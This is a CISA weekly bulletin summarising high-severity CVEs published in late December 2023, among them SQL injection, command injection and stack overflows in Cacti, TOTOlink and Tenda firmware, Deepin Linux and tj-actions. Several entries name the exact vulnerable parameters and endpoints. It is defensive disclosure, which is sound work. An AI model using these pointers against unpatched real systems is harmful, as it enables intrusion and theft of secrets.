US-CERT Vulnerability Summary for the Week of December 25, 2023

The CISA Vulnerability Bulletin provides a summary of new vulnerabilities that have been recorded by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in the past week. NVD is sponsored by CISA. In some cases, the vulnerabilities in the bulletin may not yet have assigned CVSS scores. Please visit NVD for updated vulnerability entries, which include CVSS scores once they are available.

Vulnerabilities are based on the Common Vulnerabilities and Exposures (CVE) vulnerability naming standard and are organized according to severity, determined by the Common Vulnerability Scoring System (CVSS) standard. The division of high, medium, and low severities correspond to the following scores:

High: vulnerabilities with a CVSS base score of 7.0–10.0
Medium: vulnerabilities with a CVSS base score of 4.0–6.9
Low: vulnerabilities with a CVSS base score of 0.0–3.9

Entries may include additional information provided by organizations and efforts sponsored by CISA. This information may include identifying information, values, definitions, and related links. Patch information is provided when available. Please note that some of the information in the bulletin is compiled from external, open-source reports and is not a direct result of CISA analysis.

High Vulnerabilities

Primary Vendor — Product	Description	Published	CVSS Score	Source & Patch Info
awslabs — sandbox-accounts-for-events	“Sandbox Accounts for Events” provides multiple, temporary AWS accounts to a number of authenticated users simultaneously via a browser-based GUI. Authenticated users could potentially claim and access empty AWS accounts by sending request payloads to the account API containing non-existent event ids and self-defined budget & duration. This issue only affects cleaned AWS accounts, it is not possible to access AWS accounts in use or existing data/infrastructure. This issue has been patched in version 1.1.0.	2023-12-22	7.1	CVE-2023-50928 [email protected] [email protected]
awslabs — sandbox-accounts-for-events	Sandbox Accounts for Events provides multiple, temporary AWS accounts to a number of authenticated users simultaneously via a browser-based GUI. Authenticated users could potentially read data from the events table by sending request payloads to the events API, collecting information on planned events, timeframes, budgets and owner email addresses. This data access may allow users to get insights into upcoming events and join events which they have not been invited to. This issue has been patched in version 1.10.0.	2023-12-22	7.8	CVE-2023-51386 [email protected] [email protected]
c-blosc2 — c-blosc2	C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_prec_decompress at zfp/blosc2-zfp.c.	2023-12-25	7.5	CVE-2023-37185 [email protected] [email protected] [email protected]
c-blosc2 — c-blosc2	C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference in ndlz/ndlz8x8.c via a NULL pointer to memset.	2023-12-25	7.5	CVE-2023-37186 [email protected] [email protected] [email protected]
c-blosc2 — c-blosc2	C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the zfp/blosc2-zfp.c zfp_acc_decompress. function.	2023-12-25	7.5	CVE-2023-37187 [email protected] [email protected] [email protected]
c-blosc2 — c-blosc2	C-blosc2 before 2.9.3 was discovered to contain a NULL pointer dereference via the function zfp_rate_decompress at zfp/blosc2-zfp.c.	2023-12-25	7.5	CVE-2023-37188 [email protected] [email protected] [email protected]
cacti — cacti	Cacti provides an operational monitoring and fault management framework. In versions 1.2.25 and prior, it is possible to execute arbitrary SQL code through the `pollers.php` script. An authorized user may be able to execute arbitrary SQL code. The vulnerable component is the `pollers.php`. Impact of the vulnerability – arbitrary SQL code execution. As of time of publication, a patch does not appear to exist.	2023-12-22	8.8	CVE-2023-49085 [email protected] [email protected]
cacti — cacti	Cacti provides an operational monitoring and fault management framework. Version 1.2.25 has a Blind SQL Injection (SQLi) vulnerability within the SNMP Notification Receivers feature in the file `’managers.php’`. An authenticated attacker with the “Settings/Utilities” permission can send a crafted HTTP GET request to the endpoint `’/cacti/managers.php’` with an SQLi payload in the `’selected_graphs_array’` HTTP GET parameter. As of time of publication, no patched versions exist.	2023-12-22	8.8	CVE-2023-51448 [email protected] [email protected]
campcodes — online_college_library_system	A vulnerability has been found in Campcodes Online College Library System 1.0 and classified as critical. This vulnerability affects unknown code of the file index.php of the component Search. The manipulation of the argument category leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249178 is the identifier assigned to this vulnerability.	2023-12-29	7.3	CVE-2023-7156 [email protected] [email protected] [email protected]
clickhouse — clickhouse	ClickHouse is an open-source column-oriented database management system that allows generating analytical data reports in real-time. A heap buffer overflow issue was discovered in ClickHouse server. An attacker could send a specially crafted payload to the native interface exposed by default on port 9000/tcp, triggering a bug in the decompression logic of Gorilla codec that crashes the ClickHouse server process. This attack does not require authentication. This issue has been addressed in ClickHouse Cloud version 23.9.2.47551 and ClickHouse versions 23.10.5.20, 23.3.18.15, 23.8.8.20, and 23.9.6.20.	2023-12-22	7	CVE-2023-48704 [email protected] [email protected]
cloudflare — miniflare	Sending specially crafted HTTP requests to Miniflare’s server could result in arbitrary HTTP and WebSocket requests being sent from the server. If Miniflare was configured to listen on external network interfaces (as was the default in wrangler until 3.19.0), an attacker on the local network could access other local servers.	2023-12-29	7.5	CVE-2023-7078 [email protected] [email protected]
cloudflare — wrangler	The V8 inspector intentionally allows arbitrary code execution within the Workers sandbox for debugging. wrangler dev would previously start an inspector server listening on all network interfaces. This would allow an attacker on the local network to connect to the inspector and run arbitrary code. Additionally, the inspector server did not validate Origin/Host headers, granting an attacker that can trick any user on the local network into opening a malicious website the ability to run code. If wrangler dev –remote was being used, an attacker could access production resources if they were bound to the worker. This issue was fixed in [email protected] and [email protected]. Whilst wrangler dev’s inspector server listens on local interfaces by default as of [email protected], an SSRF vulnerability in miniflare https://github.com/cloudflare/workers-sdk/security/advisories/GHSA-fwvg-2739-22v7 (CVE-2023-7078) allowed access from the local network until [email protected]. [email protected] and [email protected] introduced validation for the Origin/Host headers.	2023-12-29	8.5	CVE-2023-7080 [email protected] [email protected] [email protected] [email protected] [email protected]
code-projects — faculty_management_system	A vulnerability was found in code-projects Faculty Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/php/crud.php. The manipulation of the argument fieldname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248948.	2023-12-25	9.8	CVE-2023-7096 [email protected] [email protected] [email protected]
code-projects — library_management_system	A vulnerability, which was classified as critical, was found in code-projects Library Management System 2.0. Affected is an unknown function of the file index.php. The manipulation of the argument category leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249006 is the identifier assigned to this vulnerability.	2023-12-26	9.8	CVE-2023-7111 [email protected] [email protected] [email protected]
code-projects — water_billing_system	A vulnerability classified as critical has been found in code-projects Water Billing System 1.0. This affects an unknown part of the file /addbill.php. The manipulation of the argument owners_id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248949 was assigned to this vulnerability.	2023-12-25	9.8	CVE-2023-7097 [email protected] [email protected] [email protected]
coolkit_technology — ewelink_-_smart_home	Improper privilege management vulnerability in CoolKit Technology eWeLink on Android and iOS allows application lockscreen bypass. This issue affects eWeLink before 5.2.0.	2023-12-30	7.7	CVE-2023-6998 [email protected] [email protected] [email protected]
d-link — d-view_8	A security issue exists in D-Link D-View 8 v2.0.2.89 and prior that could allow an attacker to manipulate the probe inventory of the D-View service. This could result in the disclosure of information from other probes, denial of service conditions due to the probe inventory becoming full, or the execution of tasks on other probes.	2023-12-28	10	CVE-2023-7163 [email protected]
deepin_linux — deepin_linux	Deepin Linux’s default document reader `deepin-reader` software suffers from a serious vulnerability in versions prior to 6.0.7 due to a design flaw that leads to remote command execution via crafted docx document. This is a file overwrite vulnerability. Remote code execution (RCE) can be achieved by overwriting files like .bash_rc, .bash_login, etc. RCE will be triggered when the user opens the terminal. Version 6.0.7 contains a patch for the issue.	2023-12-22	9.3	CVE-2023-50254 [email protected] [email protected] [email protected]
deepin_linux — deepin_linux	Deepin-Compressor is the default archive manager of Deepin Linux OS. Prior to 5.12.21, there’s a path traversal vulnerability in deepin-compressor that can be exploited to achieve Remote Command Execution on the target system upon opening crafted archives. Users are advised to update to version 5.12.21 which addresses the issue. There are no known workarounds for this vulnerability.	2023-12-27	9.3	CVE-2023-50255 [email protected] [email protected]
dell — client_bios	Dell Client BIOS contains a pre-boot direct memory access (DMA) vulnerability. An authenticated attacker with physical access to the system may potentially exploit this vulnerability in order to execute arbitrary code on the device.	2023-12-22	7.2	CVE-2023-43088 [email protected]
dell — supportassist_client_consumer	Dell SupportAssist for Home PCs version 3.14.1 and prior versions contain a privilege escalation vulnerability in the installer. A local low privileged authenticated attacker may potentially exploit this vulnerability, leading to the execution of arbitrary executable on the operating system with elevated privileges.	2023-12-22	7.3	CVE-2023-48670 [email protected]
dromara_hertzbeat — dromara_hertzbeat	Hertzbeat is an open source, real-time monitoring system with custom-monitoring, high performance cluster, prometheus-like and agentless. Hertzbeat versions 1.20 and prior have a permission bypass vulnerability. System authentication can be bypassed and invoke interfaces without authorization. Version 1.2.1 contains a patch for this issue.	2023-12-22	7.5	CVE-2022-39337 [email protected] [email protected] [email protected] [email protected]
dromara_hertzbeat — dromara_hertzbeat	Hertzbeat is an open source, real-time monitoring system. Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions in version prior to 1.4.1, a malicious user can use a crafted alert expression to execute any command on hertzbeat server. A malicious user who has access to alert define function can execute any command in hertzbeat instance. This issue is fixed in version 1.4.1.	2023-12-22	7.2	CVE-2023-51387 [email protected] [email protected] [email protected]
dromara_hertzbeat — dromara_hertzbeat	Hertzbeat is an open source, real-time monitoring system. Prior to version 1.4.1, Spring Boot permission configuration issues caused unauthorized access vulnerabilities to three interfaces. This could result in disclosure of sensitive server information. Version 1.4.1 fixes this issue.	2023-12-22	7.5	CVE-2023-51650 [email protected] [email protected]
engelsystem — engelsystem	Englesystem is a shift planning system for chaos events. Engelsystem prior to v3.4.1 performed insufficient validation of user supplied data for the DECT number, mobile number, and work-log comment fields. The values of those fields would be displayed in corresponding log overviews, allowing the injection and execution of Javascript code in another user’s context. This vulnerability enables an authenticated user to inject Javascript into other user’s sessions. The injected JS will be executed during normal usage of the system when viewing, e.g., overview pages. This issue has been fixed in version 3.4.1.	2023-12-22	7.3	CVE-2023-50924 [email protected] [email protected]
gm_information_technologies — mdo	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in GM Information Technologies MDO allows SQL Injection. This issue affects MDO: through 20231229. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-29	9.8	CVE-2023-4675 [email protected]
grackle — grackle	Grackle is a GraphQL server written in functional Scala, built on the Typelevel stack. The GraphQL specification requires that GraphQL fragments must not form cycles, either directly or indirectly. Prior to Grackle version 0.18.0, that requirement wasn’t checked, and queries with cyclic fragments would have been accepted for type checking and compilation. The attempted compilation of such fragments would result in a JVM `StackOverflowError` being thrown. Some knowledge of an applications GraphQL schema would be required to construct such a query, however no knowledge of any application-specific performance or other behavioural characteristics would be needed. Grackle uses the cats-parse library for parsing GraphQL queries. Prior to version 0.18.0, Grackle made use of the cats-parse `recursive` operator. However, `recursive` is not currently stack safe. `recursive` was used in three places in the parser: nested selection sets, nested input values (lists and objects), and nested list type declarations. Consequently, queries with deeply nested selection sets, input values or list types could be constructed which exploited this, causing a JVM `StackOverflowException` to be thrown during parsing. Because this happens very early in query processing, no specific knowledge of an applications GraphQL schema would be required to construct such a query. The possibility of small queries resulting in stack overflow is a potential denial of service vulnerability. This potentially affects all applications using Grackle which have untrusted users. Both stack overflow issues have been resolved in the v0.18.0 release of Grackle. As a workaround, users could interpose a sanitizing layer in between untrusted input and Grackle query processing.	2023-12-22	7.5	CVE-2023-50730 [email protected] [email protected] [email protected]
honor — com.hihonor.phoneservice	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause device service exceptions.	2023-12-29	7	CVE-2023-51431 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_os	Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file	2023-12-29	7.3	CVE-2023-23436 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by buffer overflow vulnerability, successful exploitation could cause code execution.	2023-12-29	9.3	CVE-2023-51434 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — magic_ui	Some Honor products are affected by incorrect privilege assignment vulnerability, successful exploitation could cause information leak.	2023-12-29	7.1	CVE-2023-51435 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00	Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.	2023-12-29	7.3	CVE-2023-23431 3836d913-7555-4dd0-a509-f5667fdf5fe4
honor — nth-an00	Some Honor products are affected by signature management vulnerability, successful exploitation could cause the forged system file overwrite the correct system file.	2023-12-29	7.3	CVE-2023-23432 3836d913-7555-4dd0-a509-f5667fdf5fe4
ibm — aspera_console	IBM Aspera Console 3.4.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 210322.	2023-12-25	7.2	CVE-2021-38927 [email protected] [email protected]
ibm — financial_transaction_manager_for_swift_services	In the Message Entry and Repair (MER) facility of IBM Financial Transaction Manager for SWIFT Services 3.2.4 the sending address and the message type of FIN messages are assumed to be immutable. However, an attacker might modify these elements of a business transaction. IBM X-Force ID: 273183.	2023-12-25	7.5	CVE-2023-49880 [email protected] [email protected]
ibm — i	Facsimile Support for IBM i 7.2, 7.3, 7.4, and 7.5 could allow a local user to gain elevated privileges due to an unqualified library call. A malicious actor could cause arbitrary code to run with the privilege of the user invoking the facsimile support. IBM X-Force ID: 267689.	2023-12-25	7	CVE-2023-43064 [email protected] [email protected]
ibm — planning_analytics	IBM Planning Analytics Local 2.0 could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions. By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious script, which could allow the attacker to execute arbitrary code on the vulnerable system. IBM X-Force ID: 265567.	2023-12-22	9.8	CVE-2023-42017 [email protected] [email protected]
iteachyou — dreamer_cms	A vulnerability was found in Dreamer CMS 4.1.3. It has been declared as problematic. This vulnerability affects unknown code of the file /upload/uploadFile. The manipulation of the argument file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-248938 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2023-12-24	8.8	CVE-2023-7091 [email protected] [email protected] [email protected]
kashipara — job_portal	Job Portal v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The ‘txtUser’ parameter of the login.php resource does not validate the characters received and they are sent unfiltered to the database.	2023-12-22	9.8	CVE-2023-49688 [email protected] [email protected]
kashipara — job_portal	Job Portal v1.0 is vulnerable to multiple Unauthenticated SQL Injection vulnerabilities. The ‘JobId’ parameter of the Employer/DeleteJob.php resource does not validate the characters received and they are sent unfiltered to the database.	2023-12-22	9.8	CVE-2023-49689 [email protected] [email protected]
libaom — libaom	Increasing the resolution of video frames, while performing a multi-threaded encode, can result in a heap overflow in av1_loop_restoration_dealloc().	2023-12-27	9	CVE-2023-6879 [email protected] [email protected]
lychee — lychee	Lychee is a free photo-management tool. Prior to 5.0.2, Lychee is vulnerable to an SQL injection on any binding when using mysql/mariadb. This injection is only active for users with the `.env` settings set to DB_LOG_SQL=true and DB_LOG_SQL_EXPLAIN=true. The defaults settings of Lychee are safe. The patch is provided on version 5.0.2. To work around this issue, disable SQL EXPLAIN logging.	2023-12-28	8.8	CVE-2023-52082 [email protected] [email protected]
mattermost — mattermost	Mattermost version 2.10.0 and earlier fails to sanitize deeplink paths, which allows an attacker to perform CSRF attacks against the server.	2023-12-29	7.1	CVE-2023-7114 [email protected]
micropython — micropython	A vulnerability was found in MicroPython up to 1.21.0. It has been classified as critical. Affected is the function slice_indices of the file objslice.c. The manipulation leads to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.22.0 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-249180.	2023-12-29	7.3	CVE-2023-7158 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
microsoft — visual_studio	Visual Studio Code Python Extension Remote Code Execution Vulnerability	2023-12-29	7.8	CVE-2020-17163 [email protected]
mindsdb — mindsdb	MindsDB is a SQL Server for artificial intelligence. Prior to version 23.11.4.1, the `put` method in `mindsdb/mindsdb/api/http/namespaces/file.py` does not validate the user-controlled name value, which is used in a temporary file name, which is afterwards opened for writing on lines 122-125, which leads to path injection. Later in the method, the temporary directory is deleted on line 151, but since we can write outside of the directory using the path injection vulnerability, the potentially dangerous file is not deleted. Arbitrary file contents can be written due to `f.write(chunk)` on line 125. Mindsdb does check later on line 149 in the `save_file` method in `file-controller.py` which calls the `_handle_source` method in `file_handler.py` if a file is of one of the types `csv`, `json`, `parquet`, `xls`, or `xlsx`. However, since the check happens after the file has already been written, the files will still exist (and will not be removed due to the path injection described earlier), just the `_handle_source` method will return an error. The same user-controlled source source is used also in another path injection sink on line 138. This leads to another path injection, which allows an attacker to delete any `zip` or `tar.gz` files on the server.	2023-12-22	9.1	CVE-2023-50731 [email protected] [email protected] [email protected] [email protected]
misskey — misskey	Misskey is an open source, decentralized social media platform. Third-party applications may be able to access some endpoints or Websocket APIs that are incorrectly specified as [kind](https://github.com/misskey-dev/misskey/blob/406b4bdbe79b5b0b68fcdcb3c4b6e419460a0258/packages/backend/src/server/api/endpoints.ts#L811) or [secure](https://github.com/misskey-dev/misskey/blob/406b4bdbe79b5b0b68fcdcb3c4b6e419460a0258/packages/backend/src/server/api/endpoints.ts#L805) without the user’s permission and perform operations such as reading or adding non-public content. As a result, if the user who authenticated the application is an administrator, confidential information such as object storage secret keys and SMTP server passwords will be leaked, and general users can also create invitation codes without permission and leak non-public user information. This is patched in version [2023.12.1](https://github.com/misskey-dev/misskey/commit/c96bc36fedc804dc840ea791a9355d7df0748e64).	2023-12-29	9	CVE-2023-52139 [email protected] [email protected]
misskey — misskey	Nexkey is a lightweight fork of Misskey v12 optimized for small to medium size servers. Prior to 12.23Q4.5, Nexkey allows external apps using tokens issued by administrators and moderators to call admin APIs. This allows malicious third-party apps to perform operations such as updating server settings, as well as compromise object storage and email server credentials. This issue has been patched in 12.23Q4.5.	2023-12-27	8.9	CVE-2023-52077 [email protected] [email protected] [email protected] [email protected]
moxa — iologik_e1210_firmware	A Cross-Site Request Forgery (CSRF) vulnerability has been identified in ioLogik E1200 Series firmware versions v3.3 and prior. An attacker can exploit this vulnerability to trick a client into making an unintentional request to the web server, which will be treated as an authentic request. This vulnerability may lead an attacker to perform operations on behalf of the victimized user.	2023-12-23	8.8	CVE-2023-5961 [email protected]
mp3gain — mp3gain	A stack buffer overflow vulnerability in MP3Gain v1.6.2 allows an attacker to cause a denial of service via the WriteMP3GainAPETag function at apetag.c:592.	2023-12-22	7.5	CVE-2023-49356 [email protected]
netentsec — ns-asg_application_security_gateway	A vulnerability classified as critical has been found in Netentsec NS-ASG Application Security Gateway 6.3.1. This affects an unknown part of the file index.php?para=index of the component Login. The manipulation of the argument check_VirtualSiteId leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249183.	2023-12-29	7.3	CVE-2023-7161 [email protected] [email protected] [email protected]
open_design_alliance — oda_drawings_sdk	An issue was discovered in Open Design Alliance Drawings SDK before 2024.12. A corrupted value of number of sectors used by the Fat structure in a crafted DGN file leads to an out-of-bounds write. An attacker can leverage this vulnerability to execute code in the context of the current process.	2023-12-26	7.8	CVE-2023-5180 8a9629cb-c5e7-4d2a-a894-111e8039b7ea
pandora_fms — pandora_fms	Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) vulnerability in Pandora FMS on all allows Cross-Site Scripting (XSS). Malicious code could be executed in the File Manager section. This issue affects Pandora FMS: from 700 through 774.	2023-12-29	7.5	CVE-2023-41815 [email protected]
pexip — pexip_infinity	Pexip Infinity before 31.2 has Improper Input Validation for signalling, allowing remote attackers to trigger an abort.	2023-12-25	7.5	CVE-2023-31289 [email protected]
pexip — pexip_infinity	Pexip Infinity before 31.2 has Improper Input Validation for RTCP, allowing remote attackers to trigger an abort.	2023-12-25	7.5	CVE-2023-31455 [email protected]
phpgurukul — hospital_management_system	A vulnerability, which was classified as critical, has been found in PHPGurukul Hospital Management System 1.0. Affected by this issue is some unknown functionality of the component Admin Dashboard. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249356.	2023-12-30	7.3	CVE-2023-7172 [email protected] [email protected] [email protected] [email protected]
phpgurukul — nipah_virus_testing_management_system	A vulnerability, which was classified as critical, has been found in PHPGurukul Nipah Virus Testing Management System 1.0. This issue affects some unknown processing of the file bwdates-report-result.php. The manipulation of the argument fromdate leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248951.	2023-12-25	9.8	CVE-2023-7099 [email protected] [email protected] [email protected] [email protected]
phpgurukul — online_notes_sharing_system	A vulnerability was found in PHPGurukul Online Notes Sharing System 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /user/signup.php. The manipulation leads to weak password requirements. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248740.	2023-12-22	8.8	CVE-2023-7053 [email protected] [email protected] [email protected]
phpgurukul — restaurant_table_booking_system	A vulnerability, which was classified as critical, was found in PHPGurukul Restaurant Table Booking System 1.0. Affected is an unknown function of the file /admin/bwdates-report-details.php. The manipulation of the argument fdate leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248952.	2023-12-25	9.8	CVE-2023-7100 [email protected] [email protected] [email protected]
poly — multiple_products	A vulnerability, which was classified as critical, has been found in Poly CCX 400, CCX 600, Trio 8800 and Trio C60. This issue affects some unknown processing of the component Diagnostic Telnet Mode. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The identifier VDB-249257 was assigned to this vulnerability.	2023-12-29	7.2	CVE-2023-4464 [email protected] [email protected] [email protected] [email protected]
red_hat — jboss_enterprise_application_platform	A flaw was found in EAP-7 during deserialization of certain classes, which permits instantiation of HashMap and HashTable with no checks on resources consumed. This issue could allow an attacker to submit malicious requests using these classes, which could eventually exhaust the heap and result in a Denial of Service.	2023-12-27	7.5	CVE-2023-3171 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
revanced — revanced	ReVanced API proxies requests needed to feed the ReVanced Manager and website with data. Up to and including commit 71f81f7f20cd26fd707335bca9838fa3e7df20d2, ReVanced API lacks error caching causing rate limit to be triggered thus increasing server load. This causes a denial of service for all users using the API. It is recommended to implement proper error caching.	2023-12-27	7.5	CVE-2023-52075 [email protected]
signalwire — freeswitch	FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.11, when handling DTLS-SRTP for media setup, FreeSWITCH is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the FreeSWITCH server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable FreeSWITCH servers for calls that rely on DTLS-SRTP. To address this vulnerability, upgrade FreeSWITCH to 1.10.11 which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.	2023-12-27	7.5	CVE-2023-51443 [email protected] [email protected]
sourcecodester — simple_student_attendance_system	A vulnerability was found in SourceCodester Simple Student Attendance System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation of the argument page leads to path traversal: ‘../filedir’. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-248749 was assigned to this vulnerability.	2023-12-22	9.8	CVE-2023-7058 [email protected] [email protected] [email protected]
talent_software — ecop	Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) vulnerability in Talent Software ECOP allows Command Line Execution through SQL Injection. This issue affects ECOP: before 32255.	2023-12-28	7.5	CVE-2023-4671 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function formGetWeiXinConfig.	2023-12-26	9.8	CVE-2023-51090 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function R7WebsSecurityHandler.	2023-12-26	9.8	CVE-2023-51091 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function upgrade.	2023-12-26	9.8	CVE-2023-51092 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function fromSetLocalVlanInfo.	2023-12-26	9.8	CVE-2023-51093 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a Command Execution vulnerability via the function TendaTelnet.	2023-12-26	9.8	CVE-2023-51094 [email protected]
tenda — m3_firmware	Tenda M3 V1.0.0.12(4856) was discovered to contain a stack overflow via the function formDelWlRfPolicy.	2023-12-26	9.8	CVE-2023-51095 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formSetAutoPing.	2023-12-26	9.8	CVE-2023-51097 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formSetDiagnoseInfo .	2023-12-26	9.8	CVE-2023-51098 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formexeCommand .	2023-12-26	9.8	CVE-2023-51099 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a command injection vulnerability via the function formGetDiagnoseInfo .	2023-12-26	9.8	CVE-2023-51100 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formSetUplinkInfo.	2023-12-26	9.8	CVE-2023-51101 [email protected]
tenda — w9_firmware	Tenda W9 V1.0.0.7(4456)_CN was discovered to contain a stack overflow via the function formWifiMacFilterSet.	2023-12-26	9.8	CVE-2023-51102 [email protected]
tj-actions — tj-actions	tj-actions/changed-files is a Github action to retrieve all files and directories. Prior to 41.0.0, the `tj-actions/changed-files` workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets. This issue may lead to arbitrary command execution in the GitHub Runner. This vulnerability has been addressed in version 41.0.0. Users are advised to upgrade.	2023-12-27	7.3	CVE-2023-51664 [email protected] [email protected] [email protected] [email protected]
tj-actions — tj-actions	The [`tj-actions/verify-changed-files`](https://github.com/tj-actions/verify-changed-files) action allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets. The [`verify-changed-files`](https://github.com/tj-actions/verify-changed-files) workflow returns the list of files changed within a workflow execution. This could potentially allow filenames that contain special characters such as `;` which can be used by an attacker to take over the [GitHub Runner](https://docs.github.com/en/actions/using-github-hosted-runners/about-github-hosted-runners) if the output value is used in a raw fashion (thus being directly replaced before execution) inside a `run` block. By running custom commands, an attacker may be able to steal secrets such as `GITHUB_TOKEN` if triggered on other events than `pull_request`. This has been patched in versions [17](https://github.com/tj-actions/verify-changed-files/releases/tag/v17) and [17.0.0](https://github.com/tj-actions/verify-changed-files/releases/tag/v17.0.0) by enabling `safe_output` by default and returning filename paths escaping special characters for bash environments.	2023-12-29	7.7	CVE-2023-52137 [email protected] [email protected] [email protected]
totolink — a3700r_firmware	There is an arbitrary command execution vulnerability in the setDiagnosisCfg function of the cstecgi .cgi of the TOTOlink A3700R router device in its firmware version V9.1.2u.5822_B20200513.	2023-12-22	9.8	CVE-2023-50147 [email protected]
totolink — a7100ru	A vulnerability, which was classified as critical, has been found in Totolink A7100RU 7.4cu.2313_B20191024. Affected by this issue is the function main of the file /cgi-bin/cstecgi.cgi?action=login of the component HTTP POST Request Handler. The manipulation of the argument flag leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248942 is the identifier assigned to this vulnerability.	2023-12-25	9.8	CVE-2023-7095 [email protected] [email protected] [email protected]
totolink — ex1200l_firmware	TOTOlink EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution via the cstecgi.cgi setOpModeCfg interface.	2023-12-22	9.8	CVE-2023-51033 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanPriDns parameter’ of the setLanConfig interface of the cstecgi .cgi	2023-12-22	9.8	CVE-2023-51011 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanGateway parameter’ of the setLanConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51012 [email protected]
totolink — ex1800t_firmware	TOTOlink EX1800T v9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanNetmask parameter’ of the setLanConfig interface of the cstecgi .cgi.	2023-12-22	9.8	CVE-2023-51013 [email protected]
totolink — ex1800t_firmware	TOTOLINK EX1800T V9.1.0cu.2112_B20220316 is vulnerable to unauthorized arbitrary command execution in the lanSecDns parameter’ of the setLanConfig interface of the cstecgi .cgi	2023-12-22	9.8	CVE-2023-51014 [email protected]
totolink — ex1800t_firmware	TOTOLINX EX1800T v9.1.0cu.2112_B20220316 is vulnerable to arbitrary command execution in the ‘enable parameter’ of the setDmzCfg interface of the cstecgi .cgi	2023-12-22	9.8	CVE-2023-51015 [email protected]
